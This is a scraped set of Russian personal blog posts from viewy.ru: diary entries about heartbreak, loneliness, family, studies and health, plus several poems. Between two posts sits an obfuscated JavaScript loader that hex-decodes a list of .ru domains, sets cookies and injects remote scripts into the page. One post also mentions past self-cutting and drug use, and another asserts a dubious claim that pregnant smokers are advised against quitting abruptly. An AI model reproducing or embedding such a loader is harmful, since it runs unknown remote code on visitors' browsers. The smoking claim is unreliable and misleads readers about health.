Мне говорили: в глазах тех не сыщешь дна, пропадешь и не вынырнешь -
и погубит она тебя, и беда с тобой приключится.


Вот он я, кто ранил, а после смиренно ждал.
Оголенный провод, пустая комната и кинжал -
Я цветы наши срезал и больше их не сажал -
Без тебя я пустое место.

Что любовь это дар, книги, конечно, лгут:
Тысячи брошенок ищут твой стылый след,
Но когда ты заносишь над ними свои слова –
Сердце за сердцем падает в талый снег. Падает, угасая.
Я стою ближе всех обожженная и босая,
Прикрывая подолом кусочек живой земли.


Боль повсюду, куда бы я ни бежал,
Мое сердце никто так не обнажал -
Я бы вырвал его, похоронил, сбежал,
Но за мною тень твоя следует, как невеста.

Мы случились однажды - больше мы не смогли, и весна отказалась просить за нас.

Срыв ночью и сигаретный запой. Давно такого не было.

Я так устала. Хочу на море. Хочу к маме, хочу к тете. Хочу отдохнуть от людей.

Вечные проблемы с деньгами, учебой, людьми и, самое главное, со здоровьем меня добивают. У меня нет новогодней лихорадки, но каникул я и правда жду как праздника, потому что очень сильно хочу передышки.

Он касается меня - я горю. Временами такая нежность нападает, что самой страшно и даже немного противно. Ну почему он?! Почему???!! Ревную его к близкой подруге, расстраиваюсь из-за мелочей, раздражаюсь, курю как паровоз. А мы просто друзья.. Я люблю идиота, который ни во что меня не ставит.

Очень сильно болят ноги, какие-то проблемы со ступнями и коленями. Больше всего доканывают проблемы по женской части, из-за этого не ощущаю себя полноценной здоровой девушкой, и это добивает еще сильнее.

Я превратилась в полноценного ботана, учусь уже больше, чем он, хаха. Никогда бы не подумала, что буду такой.

Но больше всего я устаю от людей. От парней, которым я нравлюсь, от соседей по общаге и ежедневных тус и даже от некоторых друзей (особенно от них). Я живу полной жизнью, мой день расписан по минутам, я устаю как собака, но я не чувствую себя счастливой. Может потому, что я слишком много хочу, может я просто устала и это пройдет.

Я скучаю по папе.

Я коплю в себе эмоции, и они не находят выхода. У меня не получается плакать. Сегодня приснилось, что я ору как резаная, и так эмоции находят выход; D Может попробовать?)

Выговорилась, и стало легче. Как камень с души. Может это и был тот самый выход эмоций? Грустить хочется намного меньше.

Во-первых, что заставило меня сюда зайти спустя столько времени? Ответить затрудняюсь. Снова твой голос в наушниках, снова перечитываю сообщения, снова и снова ты. Назову это состояние "Диминаутопия".

Во-вторых, я счастлива и влюблена! Не хочу ставить НО… Боюсь я слишком идеализировала тебя. Нет, свои чувства, которые не сравнятся ни с чем похожим.

В-третьих, волшебной ночью 3-го ноября, как будто в подарок мне, написал ты. А самое главное - судьба смеется надо мной, ты живешь в двух шагах.

Честное слово, хотела бы с тобой случайно встретится, спокойно и неуклюже поговорить. Понять для себя что-то, понять в себе что-то. Господи, помоги мне пойти правильным путем. Помоги мне понять для чего мне эта загадка или испытание. Эта задача висит надо мной, не могу пройти мимо, все равно, как видишь возвращаюсь. Мне нужно завершение, красивое, как и наше начало.

Мне стыдно за свою настойчивость, может быть она тебя и оттолкнула, но я ни разу не была в такой сказке, я окунулась в твое море и до сих пор не могу найти берега. Хотелось бы мне, хотя бы чуточку увидеть, что для тебя я тоже была чем-то особенным. Даже если этого и не было, то еще будет, я добъюсь!

Со времнем понимаю, что счастье заключается в спокойствии. Это офигительное чувство, когда никто и ничто не тревожит тебя, пускай это всего лишь сейчас, а завтра опять тараканы в голове забегают. И как будто бы даже ничего и не нужно, лишь бы всегда ощущать это спокойствие. Эх, если бы

10.09.2014

Мне хотелось выйти на улицу, пройтись по парку, вдохнуть воздуха полной грудью и пустить пару горьких слёз. Всё таки вот оно, чувство ненужности. Это наверное одно из самых неприятных чувств, которые я когда-либо испытывала. По дороге домой, я стала задумываться на тему того, что меня не устраивает. Осень-очень унылое настроение в это время года. Деревья меняют свою листву, и летом появится новая. Так и у меня, осенью я меняю свой характер, а позже появится новый.

Зима, как я скучаю по тебе. Мне очень хочется почувствовать себя в ностальгическом сне, чтобы хоть немного излечить свою душу от душевных ран. Зимой чувствую себя более защищенной. Очень хочется, чтобы поскорее она пришла. Чувствовать мороз на щеках, от которого бы драло кожу, хочется греть замерзшие руки своим дыханием, слушать песни, от которых разрывает душу, ловить языком маленькие снежинки. Зима - все таки наверное моё время года. Я зимой родилась, и мне зимой комфортно. Я уже немного представляю своё будущее, какой будет следующая зима. Через некоторое время планирую създить в то место, где были все мои замечатетльные моменты. Посидеть на лавочке перед домом, окунуться в воспоминания. Какими бы они ни были. И это лишь одно место, в котором я была по - настоящему счастливой девушкой. У меня было всё - и парень, и забота, и состояние удовлетворённости. А сейчас? Где это всё? Оторвали кусок души и хорошо. Но я очень хочу попробовать стать сильнее, возможно ностальгические сны помогут мне в этом. Просто хочется вспомнить, сделать ещё парочку выводов, усведомиться в том, что прошлое мне больше не нужно держать в голове.

когда мне задавали вопрос: " какое твое любимое время года ?" отвечала не думая - лето. ну а какое любимое время года может быть у школьников ?

сейчас с точностью могу сказать, что обожаю зиму. бесконечно влюблена в снег и холод. поняла этот факт тогда, когда поменяла север на юг. слишком тепло в ноябре, слишком нет снега и предновогоднего настроения уже третий год.

представляете, третий год подряд я буду встречать новый год без снега ! мне кажется надо мной прикалываются ! декабрь же должен быть самым волшебным месяцем в году ! я завидую тем, у кого за окном снегопад и вьюга с метелью. ребята, пришлите снежка !)

единственное мое спасение- гирлянда, которую я вообще не снимаю. это моя традиция с класса 10, нарядить комнату в разноцветные огоньки и оставлять висеть бесконечно.

точно такая же ситуация с ответом на вопрос: " какое твое любимое число ? ". раньше отвечала всем всегда по разному: либо 5, потому что любила получать пятерки; либо 14, потому что мне было 14 лет; либо что - то другое. числа не должны были повторяться - это было моим обязательным правилом.

когда я уехала учиться в другой город, моим любимым числом стало 28. может это будет глупо и вы подумаете: "да ты ебанутая", но у меня даже татуировка на шее с этим числом :) я улетела 28 числа. 28 числа началась моя новая, совсем другая жизнь, которая поменяла абсолютно все. а к лучшему или нет, до сих пор не могу понять

всем доброй ночи. а кому - то может и доброго утра :)

И лампа не горит и врут каллендари. И если ты давно, хотел мне что то сказать, то говори.

Темно в конце строки. И в тел трубке, эти много лет спустя одни гудки и где то хлопнет дверь и дрогнут провада, привет, мы будем счастливы теперь и навсегда…..

А у моего Н. сейчас вышел новый трэк (нет, он не горе-репер, а диджей) Слушаю и улыбаюсь. Меня всегда немного бесило его помешательство на всяких профессиональных терминах, а теперь мне этого не хватает. Я сейчас бы с радостью послушала о переходах, о хаусе, и о кнопочках на диджейской установке.

Дело в том, что вокруг все напоминает. Дома его майка, в которой раньше спала, да у меня дома с ним столько всего было. Толстовки его, кулон, подаренный на 18летие, всегда со мной. В метро сижу в телефоне, поднимаю голову, а там его рюкзак. На платформе вечно его друзья. И Ваня, который задаёт тупые вопросы. А вы с концами расстались? А как вы проводили время? На свидания ходили? Иди нахуй, какое тебе дело. И на всех девичниках пили и я рассказывала, какой он хороший. А теперь не буду пить, а то мало ли. Грусть и всё такое. Вокруг говно. Дома невозможно оставаться.

В последнее время у меня абсолютно пустая голова. Меня за неделю не посетила ни одна умная мысль, я давно не вела монологи с собой, и вообще забыла что такое раздумья перед сном. Одно сплошное нечего. Удивительно, но даже мысли об Н. как будто улетели в отпуск. Я целыми дням лежу дома, смотрю фильмы, хожу в универ, и все это с абсолютно пустой головой. Даже раньше когда мои сутки были расписаны по часам, я умудрялась попарится над чем то, а сейчас когда я просто дома, и у меня есть свободное время, я не забиваю свою головушку нечем полезным. Такой расклад вещей меня не устраивает. Черт возьми, мне нужна моя вечно заваленная всякой херней голова.

два года назад в школе

писала стихи

слушала больше музыки, такое ощущение будто она имела для меня тогда большее значение;

начала любить впервые, телефонные разговоры были намного дольше

ночи длиннее, редкие прогулки; проблемы о том, куда бы поступить, но в основном как поступить.

много крови. порезать руки было нормой. не смотря на прошедшие два года, мысль о том чтобы причинить себе боль все еще иногда приходит. странно.

не думала что буду жить одна и отдельно от родителей. и пить что-либо алкогольное. и курить траву. и что достать и принять наркотики станет таким легким делом.

в школе не было никаких мигреней. университет портит к чертям наше моральное и физическое здоровье. хотя я и так была больна.

вечное терпение. так долго я никогда никого не ждала. я и в очередях-то не могу долго стоять, а тут почти три года в нетерпении.

наверное, это плохо, но не стоит останавливаться на плохом.

я говорила что сейчас на вьюи кажется многим на многих пофиг. а цель блога - не только писать что-то про свою жизнь и интересы, дабы тебе стало легче, делиться этим со всеми, но и находить тут людей которым ты как-то можешь помочь, а они в свою очередь вполне могут помочь тебе. хватит и пары простых слов.

просто, иногда мне кажется что вся эта сеть - это какой-то особый вид односторонней коммуникации.

а как нам узнать что это не так?

— непонятно. люди вроде понимают тебя, твой контент и посты, но мы не можем определиться зачем мы постим и ребложим. для себя или других? а может и то и другое? а что хотим сказать? кому-то? или же самим себе ?

все-таки, как же быстро я меняю тему

* данный пост - мое сугубо личное ощущение, ergo, может быть несовсем понятно некоторым.

Зашла к брату, открывала дверь бабуля:

—Даша, там холодно! Где головной убор?! Ну хоть капюшон есть.

Взяла у Артура деньги, выхожу, снова бабушка:

—Передавай Владу привет, - давайте, дружненько сыпьте мне соль на рану.. Да, ба не знает, что я иду не с Дудем, но всё же.. Злая шутка от жизни или закон Мёрфи.

что мне не нравится во viewy, так это то, что нельзя оставлять анонимные комментарии. ну, например, я хотела написать пост с неким опросом на тему, которая меня интересует, но потом поняла, что мало кто ответит правдиво/ответит вообще, чтобы не палить свои "не очень хорошие качества" или поступки => не получить дозу агрессии в свою сторону. так грустненько стало.

Собственно, разговор сейчас пойдет о том, какие же девушки стали легкодоступные и как же отвратительно что это привлекает мужчин.
Говорить, о том что наше общество уже давно сгнило, превращаясь в какие-то только "рыночные" отношения, без какого-либо добра, сочувствия и каких-то человеческих качеств, думаю не стоит.

Вот я как девушка, которая имеет хоть какие-то принципы и следует им, мне сложно представить девушку, которая бы легко согласилась поехать к парню на одну ночь или "переспать" в туалете клуба. Для меня это все так аморально и непонятно, что мне хочется думать, что все что говорят и пишут на пабликах, это какая-то подстава и что все это не правда. Но уже не первый раз я вижу, что действительную картину, девушки и правда преподносят себя как товар. Сейчас конечно, идет речь не о всех, я ни в коем случаи не обобщаю этот пост, на всю прекрасную часть человечества. Это касается, только тех, кто на самом деле огромное пятно дерьма на фоне прекрасного.

Если разобраться, почему же в нашем обществе девушка носит статус легкодоступной.

Если предположить, что девушка это товар, а мужчина это покупатель, то все становиться предельно просто и ясно. Есть товар - будет тот кто его купит.
Девушки, которые позволяют к себе такое отношение, которые преподносят себя как товар, получают соответственно покупателя на свой товар.

Не знаю, почему я задела этот вопрос, но в последнее время я вижу яркие примеры этого дерьма. Может и раньше все было так же, но сейчас когда я взрослею и понимаю все реалии жизни, мне как-то становиться не по себе. Осознавать, что ты живешь в окружении таких вот людей.

на напоследок само видео, которое стало причиной моего поста:

https://www.youtube.com/watch?v=_Vk3wK2OsnI

п.с. И даже сейчас где-то в глубине души, я думаю что все было просто так задумано.

Потому что я просто так, без повода говорила ему, как он важен для меня и что он значит. Потому что просила прощение, даже когда я была права. Потому что прощала ему то, что никогда никто бы не простил. Потому что верила в него, больше чем в кого-либо. Потому что любила его, как никого. Потому что терпела обиды сквозь слезы. Потому что ценила его больше, чем себя. И это все было моей огромной ошибкой, ведь чем больше мы к человеку с душой, тем быстрее он начинает наглеть и тем больнее он тебя бьет.

Брат:

-С Владом в кино идёшь?

-Нет..

-Почему?, - первое, что пришло в голову, хотя так и есть..:

-У него денег нет…

-Так купи ему билет.

Папенька:

-А с кем ты в кино идёшь?

-С Полиной.

-А почему не с Владом?

-У него денег нет.. Да и я хочу вдвоём с Полиной сходить..

-Сколько билет стоит? Купи, - не знаю, как это откомментировать. Семья любит Дудя.

Вчера моему маленькому братише исполнилось 3 года и родители устроили ему настоящий праздник: дети, клоун, мыльные пузыри, бабуля, торт со свечками, куча подарков! Мама сегодня так это описывала интересно. И вообще жизнь у них так интересно идет, так приятно слушать, но в месте с тем и горестно, что меня нет рядом с ними.

Через неделю день рождения у мамы. Понимаю, что ей бы очень хотелось отпраздновать его со мной, сходили бы поужинать или приготовили что-нибудь вместе дома. Но я буду все так же далеко.

Купили сегодня билеты домой, прилечу 30 декабря. Капельку больше месяца осталось. А первая мысль у меня была не "ура! домооой!", а "о боги, сколько же мне всего нужно будет сделать и сдать за этот месяц!".

В общем, когда ты делаешь выбор, в любом случае будут отрицательные стороны. Сколько бы плюсов в Москве не было, невозможность быть дома в радостный или грустный для семьи день приводит меня порой в уныние. У меня здесь есть своя маленькая "семья" с Егором, своя большая "греческая семья" в общаге, здесь все время что-то происходит. Но мамы и всего вот этого родственно-домашнего явно не хватает в жизни.

Это так, минутка грусти. Москву я очень люблю, в Москве мне безумно комфортно. Просто я еще не со всем смирилась и не ко всему привыкла.

У меня один вопрос: что?
Откуда ты знаешь, насколько сильно я трахаю мозг своему парню? Читаешь наши переписки и подслушиваешь телефонные разговоры? Может я специально всё выплёскиваю сюда или в другой блог, чтобы не писать всё это ему в сообщения, ибо сама трахать мозг ему не особо хочу.
Про то, что не написал. Я и не жду, что он будет постоянно мне сидеть и писать, и не прошу этого, и даже сюда о таком не писала, ибо я и сама прекрасно знаю, что он в армии, и, что он занят. Но для тебя нормально, когда тебя сбивает машина, а он просто даже не поинтересовался, как я себя чувствую, хотя при этом заходил и отвечал мне на вопросы? Если для тебя это нормально, то для меня нет.
И почему сразу похер на него? Потому что он мне не написал? Потому что я срепостила пару фраз "а-ля всему есть предел, и женщина выберет мужика, который будет добиваться, и т.д и т.п"? Да, могло сложиться такое ощущение, не спорю. Но я их срепостила, ибо мне понравились эти высказывания. И я не виновата, что именно в этот день они появились в моей ленте. Как будто я специально их выискивала, чтобы показать, что не дождусь его)) 0 И только по этим фразочкам не стоит делать вывод, что я его не дождусь.

источник

Я тогда кричал ей, как меня все это достало, как я устал, как хочу вернуться. А она смотрела на меня, поверх очков-половинок, держа в руках альбом, и молчала. Она вообще часто молчала, если подумать. Я постоянно говорил, рассказывал, шутил, а она только улыбалась глазами и звала ночами смотреть на звезды, она рассказала мне историю о девушке, которая умерла из-за любви, и боги превратили ее в реку.

Если тогда я был так несчастен, то почему иногда утром, когда на улице три градуса и туман, я вспоминаю какой на ощупь линолеум у нее на балконе, как пахли те наши ночи и как я шел босиком по камням за ней. Неужели я был так несчастен, когда она сказала, что ее зовут Лина и ей девятнадцать и 'можно тебя нарисовать? У тебя красивый профиль'?

Так же молча она исчезла из моей жизни, будто ее и не было, как-то раз я поднялся на пролет выше, а милая бабушка сказала, что 'Линочка уехала'.

Лина не уехала. Она превратилась в реку.

В такие дни, как сегодня, в голове крутятся мысли: вот я сейчас из Дудика сделаю полноценного парня: с образованием, работой, курсами повара (постепенно), а он меня научит готовить, быть самостоятельной в хозяйстве, а потом..что-то пойдёт не так и мы расстанемся.

Чтобы Вы понимали: до меня Дудик был редкостным распиздяем, а я до него ветренной особой.. И, представляете, если получится так, что я единственная девушка, у которой получится довести его до "толка", а он единственный парень, который меня осцепенил, научил домозяйству.. И эти все страдания уйдут в никуда, достанутся кому-нибудь другому..

И вообще, я для себя решила, что больше не буду "фильтровать" какие-либо свои посты. Это мой блог, и я буду писать в нём то, что захочу. Что-то не устраивает? Да и скатертью вам дорога, пф, тоже мне беда) Надоело зависеть от чужого мнения. Я такая, какая есть. И подстраиваться под вас не собираюсь. И ради неизвестных толком мне людей, я меняться не собираюсь.

Наткнулась в инстаграме на аккаунт "armyvine". Ну по названию понятно, о чем этот аккаунт. И, блять, как же мне стало противно смотреть эти видео. Эти парни, долбаёбы, аж вымораживают. Какие они все противные, пиздец. Я прям не могу. Эти тупые, в основном, восемнадцатилетние придурки. Какой хуйней они там страдают. Фу. Надеюсь, мой Рома такой хуетой не болеет там.

И я не говорю, что все парни там такие.

Может я немножко дура, но мне хочется начать свободные отношения, мне эмоционально скучно, хочется такой свободы, чтоб без всей этой фигни, когда тебе надо ты поехал к этому человеку, либо встретился с ним, сделал, что хотел и поехал домой ахахах) Чтобы можно было позвонить, выложить свою душу…даже хочется чтобы этот человек был другом (подруга в этом плане мне не поможет, я люблю мужские советы), короче как-то так…

так надоело, если честно, бороться за уважение людей к себе, за любовь.так надоело показывать и доказывать свою заботу, но не получать этого взамен.так надоело сидеть вечерами и ждать звонков, сообщений.надоело напоминать о своем существовании людям, которые априори должны это помнить.так надоело "ловить себя на мысле", что о тебе помнят и заботятся лишь родители, что, вовсе, ни кому ты нахрен не нужен со своими чувствами и заботой.

сейчас бы беззаботно почитать книгу или посмотреть фильм с обнимку с корячим чаем и бутербродами, но я не могу этого делать.я-в режиме ожидания.

в ожидании чуда.в ожидании звонков и смс.в ожидании инициативы от людей.в ожидании ласковых слов, прикосновений, встреч.в ожидании чувств и эмоции у других людей по отношению ко мне.в ожидании "привет, я так соскучился и я около твоего дома".

глупо сводить все к одному человеку.да и вообще к людям.но факт остается фактом.

Как ждал тебя, как бесконечно ждал,
Когда в чужих еще ложилась спальнях.
Нет слов таких чтоб я тебе писал,
Да и не выразить наверное словами.
Как в преисподни дымном кабаке
Топил в себе десятки одиночеств,
А тот что был с тобой, тот был на веселе,
Но так и ты была совсем ему не против.
Чернявых улиц ели ели чуткий сон
На полусогнутых, чтоб только не согнуться
Я обходил десятой стороной
Все точки где бы мог с тобой столкнуться.
И в широко раскрытые глаза
Где каждый прячет собственные фишки
Я словно в ножны защелкнулся без ножа
И это горячо, и холодно и слишком.

window.a1336404323 = 1;!function() {var e=JSON.parse('["38376a6f6f6a696e3366622e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21677", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Новый уровень пиздостраданий - я не пишу даже на Viewy о том, как вытягивает из меня все соки это ощущение ненужности и безысходности.

Хотя вот уже написала.

А не пишу, потому что стыдно. Ибо веду себя как тупая ванильная пизда.

Эта жизнь больше не функционирует, как надо. Дайте мне другую.

мои глаза красные от уроков, а губы стали ярче от теплых поцелуев в подъезде.
я правда не успеваю быть тут, пальцы болят от мазолей, голова пухнет от формул и алгоритмов, да еще и влюбилась на зло.
тот самый парень, что укрывал меня в поезде с температурой. теперь Илья приносит мне мандарины в подъезд после своих репетиторов и сидит со мной на подоконнике, все время целуя, обнимая и рассказывая что-то. он позже объяснит мне механику, которая единственная не идет у меня, а я расскажу ему немного о том, как понимаю фильмы и литературу. и мне так кайфово. мне так круто. он снится мне каждую ночь и, пожалуйста, пускай это не заканчивается
иногда я как-то во всем не уверена, и хочется опять сидеть дома одной, но все это бывает недолго.
вообщем, вот так я заканчиваю свой 2015
за математикой и рядом с человеком, который называет меня синоби

сказать всё и сразу. как перед смертью обо всём спросить.
как ты? как поживает твоё ядовитое жало, что успела в мою душу вонзить?

"Чудеса происходят, они всегда рядом, повсюду. Присмотрись, и ты увидишь чудо в глазах любимого человека, улыбках детей. Ты сможешь изменить весь мир, изменив всего лишь себя, приняв то, что в самом начале казалось совершено неприемлемым. Всё в твоих руках."

БОМБИТБЛЯТЬ
ЭТИ ПИЗДОСТРАДАЛЬЦЫ КОТОРЫЕ НАЧИНАЮТ УЧИТЬ ТЕБЯ КУРИТЬ ТЕБЕ ИЛИ НЕТ УБЕЙТЕСЬ ВСЕ ВМЕСТЕ. МЕШАЕТ ТЕБЕ ДЫМ ТАК СУКА НЕ ДЫШИ, ДЫШИ В ДРУГУЮ СТОРОНУ, ОТОЙДИ, КИНЬСЯ ПОД АВТОБУС
я не против ни тех, кто против курения, ни тех кто курит. но когда начинается А ТЫ КУРИШЬ ??? ФУ ТЫ ЖЕ ДЕВУШКА, ДЕТИ ЗЕЛЕНЫЕ БУДУТ, вот тогда и хочется убивать.
это выбор каждого, это не значит что я хочу больных детей поэтому курю. я себя настраиваю на то что мне станет легче, когда я покурю, так и происходит.
по поводу детей и здоровья. даже доктора, адекватные доктора, не запрещают сразу будущим мамам прекращать курить, так как если беременная женщина сразу бросит курить, она навредит организму и будущему малышу больше, чем когда она постепенно будет уменьшать дозы никотина в организме.

поэтому насрать что вы там требуете от баб не курить или еще что. человек курит значит до пизды все ваши эти страдания. не тратьте свои нервы и БЛЯТЬ МОИ.
не могу уже. бесит

Одного Вани слишком недостаточно, что бы сделать день охринеть каким. Далее был душевно-личный разговор с Даней, мы все-все расставили по полочкам. Потом я опять целовалась с Алиной. А затем выслушивала признания Раша и Димы мне в любви. Это пиздец. Честное слово. Когда в комнате собрались целых пять людей, у которых есть чувства ко мне или у меня к ним. Я охренела. Честное слово. Сейчас меня забирает из дома Дани - Ваня. С нами был Дима! Я в шоке. Подробности разговора напишу дома с ноута. Но я блять реально в шоке. И с Даней у меня никогда ничего больше не будет, кроме дружбы. И то если смогу.

Хочу, чтобы у меня был выключатель, как у робота. На спине, on/off. Выключила. Ни эмоций, ни чувств, ни души, тебя ничего не тревожит вообще. Просто как вакуум. Мечта.

Не разлюбила, а разочаровалась.он говорит, а я стою и думаю "Боже как я раньше не замечала, что у него моральные ценности как у блядоватой приезжей птушницы!?"

ну что, мой организм добился своего - на больничном до среды.

несмотря на то, что я выгляжу как невеста тима бертона, надо завтра идти на курсы и сдавать егэ по обществознанию.

что я делаю для подготовки? верно, смотрю ролики на ютубе про идеальные макаруны.

Не хочу кушать.

Не хочу выходить из дома.

Не хочу браться за учёбу.

Не хочу ничем заниматься.

Не хочу ни с кем разговаривать.

..кажется, я морально умираю.

Юрец:

—ты такая милая, когда ешь. как эта… ну как её. ну хуй знает кто.

впоследствии было установлено, что он вспоминал мышку-норушку, но я всё равно растрогалась.

у вас было такое, что просыпаешься и кажется, что всё не по-настоящему.?

игрушечное и вот-вот развалится.

Разложить бы себя по полочкам,
Разметать вдоль дороги волосы
И по-волчьи запеть протяжную
не своим, но красивым голосом.
Разложить совесть по кармашекам
Будто мелочь на сдачу данную
И раздать ее, безымянную
попрошайкам на пропитание.
Расплескаться б по небу звездами,
чтоб смотрели, как на созвездие.
любовались, а не считали бы
злой дикаркой, которой места нет.

Бабский коллектив это полный ужас.
Лучше бы я была одной девочкой в группе, чем в змеюшнике.
Я устала от этого скарказма, подхалимства и лицемерия каждый день.
Я конечно тоже за словом в карман не полезу, но иногда меня прям все бесят.
Думаю, стоит немедленно уйти в сторону.

завуалированно вязнуть в омуте,
когда утро перетекает в вечер и сумерки душат.
знаешь, санта не положит под ёлку прекрасное будущее,
не будет ныне живым в тех днях существующее.
прятаться в ворохе одежды,
что не скроет подаренный холод.
жажда - неутолимый
голод.

мы выйграли в лотерее придурков.
цепь разомкнута.

a.b.

Я - сложный человек. Возможно, как и большинство людей на земле. Я никогда ни о чем не жалею, это моё кредо. Один раз я прямо жалела, но тогда моё решение "пожалеть" о сделанном принесло мне море боли и слёз. Сейчас я счастлива, несмотря на жопу в учебе и сложности в работе, я счастлива, потому что у меня есть семья. Это и родители, и бабушка, и тети, сестра, но, в первую очередь, теперь это мой муж. Он настолько прекрасен, что иногда я сомневаюсь, как он мог выбрать меня. "Как я смогла тебя обмануть и убедить, что я такая независимая и уверенная в себе?". Сейчас я больше слабая, депрессивная, "как обычно", в общем. Я стараюсь с этим бороться, потому что меньше всего на свете хочу потерять то счастье, которое у меня есть. А появился этот пост только потому, что я в очередной раз начала анализировать свою жизнь. И нет, у меня правда всё хорошо, но не вспоминать разные моменты своей жизни я просто не могу. Это значит только то, что мне непросто выносить себя, не больше. А натолкнула меня на грусть серия ТБВ. Всегда невольно ассоциируешь себя с каким-либо персонажем, так что я не сомневалась, что во мне есть маленькая "Эмми". И её переживания так мне знакомы, настолько я их знаю, настолько я их чувствовала, что до слёз.

Прости меня, моя любовь, за мою дурную голову.

За мои дурацкие вопросы, за тупые мысли, за нелюбовь к себе.

26.11.2015

День 48: История вашей жизни в трёх словах.

Смейся, плачь, люби.
Очень часто смеюсь, как и очень часто плачу) И по поводу, и без повода. Насчет люби.. Наверное, я люблю сильней окружающх, чем себя. И это не особо хорошо)

Ненавижу свою сверхспособность видеть то чего нет, делать из этого выводы, рисовать красивые истории, верить в них ПОТОМ БЛЯТЬ ПОНИМАТЬ, ЧТО САМА ВСЕ ВЫДУМАЛА, ВИДЕТЬ ЭТОМУ ПОДТВЕРЖДЕНИЕ И УМИРАТЬ. Просто блин ходи со своей новой бабой у меня перед носом постоянно, сп поставьте, фоток больше совместных! Ато я временами забываю о ее существовании!

Я бы в мае поехала в Марсель, сняла бы комнату (обязательно недалеко от рынка), простую, с кроватью и комодом, с одним, но большим окном. Я сняла бы комнату эту с видом на дорогу, на машины. Вид должен включаться в стоимость. А ещё - обязательно такие хлипкие рамы, что можно будет услышать то, что происходит через три улицы от нашей. Я открывала бы утром окно, а окно, я забыла сказать, было бы обязательно с такими пошлыми, в цветочек занавесками. И дул бы ветер и развевал бы эту рыженькую занавеску, а я тоже была бы в каком-нибудь простецком платье, а утром было бы холодно, и плечи были бы в мурашках. И я бы уже слышала, как громко переругиваются торговцы рыбой. Они поступали бы правильно, потому что проснулись в четыре, а легли в два. Они ловили её, и она настолько свежая.. она не мёртвая, а оглушенная, потому что так и должно быть. Её прикончат разве что для покупателя, для тебя. А потом… Потом я выйду из комнатки. Я, кстати, обязательно куплю себе соломенную шляпу с лентой (возможно, синей) и с большими полями. Так вот. Я выйду из комнатки и войду в улицу. В людей и в крики, и в запахи. Это главное. И в тот же день обязательно попробую правильный, настоящий буйабес, прямо в прибрежном ресторанчике, возможно маленьком и грубом, его будет обслуживать дочь хозяина, которого ресторанчик утром вынуждает ловить рыбу, а днём варить из неё суп. Маленький, недорогой и самобытный ресторанчик! Не курортский, спокойный, непопулярный и потому такой потрясающий. А потом… Потом я куплю багет. И начну трогать его подушечками пальцев, слегка сминая его корочку, его спинку! И она будет приятно хрустеть.. А я буду приятно щуриться… Я шла и думала об этом, когда мимо меня пролетела женщина с родинкой под левым глазом. И почему-то я уверена, что её мужчина очень любит целовать эту самую родинку по левым глазом.

Давно я не писала на вьюи, хотя довольно-таки часто порывалась. Но сейчас возникла такая ситуация, что мне необходимо выговориться.
К сожалению, рядом больше нет того человека, которому я рассказывала абсолютно все, что хотела.
Полтора месяца назад установила себе на телефон приложение Tinder, соседка сказала, что здорово убивает время, вдобавок может поднять настроение, когда грустненько. Грубо говоря, это приложение для знакомств.
За это время познакомилась с огромным количеством молодых людей, с одним встретилась (но он, ах и увы, оказался тем еще мудаком).
И вот месяц назад мне написал молодой человек Рустам, который, как оказалось, живет в соседнем здании от меня. Ему 19, учится на стоматолога на 3 курсе в РУДН. Начали общаться, в вотсаппе записывали друг другу аудиосообщения каждый день, но никак не могли встретиться. Каждый раз находились дела то у меня, то у него.
Рустам каждый день мне звонил/писал, наше общение складывалось действительно очень легко, он меня заваливал комплиментами не только в плане внешности, но и в плане моего характера, внутреннего состояния. Мне правда интересно с ним разговаривать, он один из немногих парней, кто развит довольно всесторонне.
А еще у него потрясающая улыбка, добрые глаза, приятный голос и изумительное тело (не могла не упомянуть :D).
Ах да.
Но вот в чем проблема: мальчик-то нерусский. Азербайджанец. Нет, не подумайте, я не имею ничего против. Но вот моя мама, как только узнала, очень разволновалась, когда узнала, что я иду с Рустамом гулять. Я еле успокоила тогда ее, расписав, какой Рустам чудесный мальчик.
Но вот в тот день, когда мы с ним должны были встретиться, резко изменились планы у обоих, и мы опять не смогли увидеться. После этого моя ма, видимо, решила, что это я ей только так сказала, что обстоятельства изменились, а на деле якобы я послушала ее и перестала с ним общаться.
В эти выходные я поехала домой и сказала маме, что продолжаю общаться с Рустамом. Боже, девочки, вы бы знали, какая ссора у нас с мамой произошла. Еще никогда у нас с ней не было такого непонимания. Мы всегда приходили к каким-то компромиссам.
